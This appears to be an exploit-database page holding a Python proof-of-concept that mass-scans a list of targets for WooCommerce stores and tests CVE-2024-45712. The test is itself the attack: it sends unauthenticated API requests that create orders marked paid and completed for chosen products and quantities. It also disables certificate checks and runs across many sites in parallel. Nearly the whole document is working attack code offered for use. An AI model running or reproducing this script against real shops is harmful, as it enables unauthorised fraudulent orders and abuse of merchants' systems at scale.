4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / woocommerce_scanner.py PY
#!/usr/bin/env python3

import requests
import json
import argparse
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor, as_completed

# Suppress insecure request warnings (for sites with bad SSL)
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def check_woocommerce_api(target_url):
    """Check if the WooCommerce REST API is enabled."""
    api_url = urljoin(target_url, '/wp-json/wc/v3/')
    try:
        response = requests.get(api_url, timeout=10, verify=False)
        if response.status_code == 200:
            # Check if the response contains WooCommerce indicators
            if 'woocommerce' in response.text.lower() or 'product' in response.text.lower():
                return True
        return False
    except requests.exceptions.RequestException:
        return False

def get_woocommerce_version(target_url):
    """Attempt to get the WooCommerce version from readme.txt."""
    readme_url = urljoin(target_url, '/wp-content/plugins/woocommerce/readme.txt')
    try:
        response = requests.get(readme_url, timeout=10, verify=False)
        if response.status_code == 200:
            # Look for the version number in the readme
            for line in response.text.split('\n'):
                if 'stable tag:' in line.lower():
                    version = line.split(':')[1].strip()
                    return version
    except requests.exceptions.RequestException:
        pass
    return "Unknown"

def check_vulnerability(target_url, product_id=1, quantity=1):
    """Check if the target is vulnerable to CVE-2024-45712."""
    order_url = urljoin(target_url, '/wp-json/wc/v3/orders')
    
    # Generate random customer data
    import random
    import string
    random_name = ''.join(random.choices(string.ascii_lowercase, k=8))
    random_email = f"{random_name}@example.com"
    
    order_data = {
        "payment_method": "bacs",
        "payment_method_title": "Direct Bank Transfer",
        "set_paid": True,
        "status": "completed",
        "billing": {
            "first_name": random_name,
            "last_name": random_name,
            "email": random_email
        },
        "line_items": [
            {
                "product_id": product_id,
                "quantity": quantity
            }
        ]
    }
    
    try:
        headers = {'Content-Type': 'application/json'}
        response = requests.post(
            order_url, 
            data=json.dumps(order_data), 
            headers=headers, 
            timeout=15, 
            verify=False
        )
        
        if response.status_code == 201:
            order_info = response.json()
            return True, f"Order created successfully! Order ID: {order_info.get('id', 'N/A')}"
        elif response.status_code == 401:
            return False, "Target is not vulnerable (401 Unauthorized)"
        else:
            return False, f"Target returned status code: {response.status_code}"
            
    except requests.exceptions.RequestException as e:
        return False, f"Request failed: {str(e)}"

def scan_target(target, product_id=1, quantity=1):
    """Scan a single target for WooCommerce and vulnerability."""
    # Ensure the target has a scheme (http:// or https://)
    if not target.startswith(('http://', 'https://')):
        target = 'http://' + target
    
    results = {
        'target': target,
        'has_woocommerce': False,
        'version': 'Unknown',
        'vulnerable': False,
        'details': ''
    }
    
    print(f"[+] Scanning: {target}")
    
    # Check for WooCommerce
    if check_woocommerce_api(target):
        results['has_woocommerce'] = True
        results['version'] = get_woocommerce_version(target)
        
        # Check for vulnerability
        is_vuln, details = check_vulnerability(target, product_id, quantity)
        results['vulnerable'] = is_vuln
        results['details'] = details
        
        status = "VULNERABLE" if is_vuln else "NOT VULNERABLE"
        print(f"[-] {target} - WooCommerce {results['version']} - {status}")
    else:
        results['details'] = "No WooCommerce detected"
        print(f"[-] {target} - No WooCommerce detected")
    
    return results

def main():
    parser = argparse.ArgumentParser(description='Scan for vulnerable WooCommerce sites (CVE-2024-45712)')
    parser.add_argument('-i', '--input', required=True, help='Input file with targets (one per line)')
    parser.add_argument('-o', '--output', default='results.txt', help='Output file for results')
    parser.add_argument('-p', '--product-id', type=int, default=1, help='Product ID to use for testing')
    parser.add_argument('-q', '--quantity', type=int, default=1, help='Quantity of products to order')
    parser.add_argument('-t', '--threads', type=int, default=5, help='Number of concurrent threads')
    
    args = parser.parse_args()
    
    # Read targets from file
    try:
        with open(args.input, 'r') as f:
            targets = [line.strip() for line in f.readlines() if line.strip()]
    except FileNotFoundError:
        print(f"[!] Error: File {args.input} not found!")
        return
    
    print(f"[*] Loaded {len(targets)} targets from {args.input}")
    print(f"[*] Starting scan with {args.threads} threads...")
    print("-" * 60)
    
    results = []
    
    # Scan targets using thread pool
    with ThreadPoolExecutor(max_workers=args.threads) as executor:
        future_to_target = {
            executor.submit(scan_target, target, args.product_id, args.quantity): target 
            for target in targets
        }
        
        for future in as_completed(future_to_target):
            target = future_to_target[future]
            try:
                result = future.result()
                results.append(result)
            except Exception as e:
                print(f"[!] Error scanning {target}: {str(e)}")
    
    # Save results to file
    with open(args.output, 'w') as f:
        for result in results:
            f.write(f"Target: {result['target']}\n")
            f.write(f"WooCommerce: {result['has_woocommerce']}\n")
            f.write(f"Version: {result['version']}\n")
            f.write(f"Vulnerable: {result['vulnerable']}\n")
            f.write(f"Details: {result['details']}\n")
            f.write("-" * 40 + "\n")
    
    # Print summary
    vulnerable_count = sum(1 for r in results if r['vulnerable'])
    woocommerce_count = sum(1 for r in results if r['has_woocommerce'])
    
    print("\n" + "=" * 60)
    print("[SCAN SUMMARY]")
    print(f"Total targets: {len(targets)}")
    print(f"WordPress with WooCommerce: {woocommerce_count}")
    print(f"Vulnerable targets: {vulnerable_count}")
    print(f"Results saved to: {args.output}")
    print("=" * 60)

if __name__ == "__main__":
    main()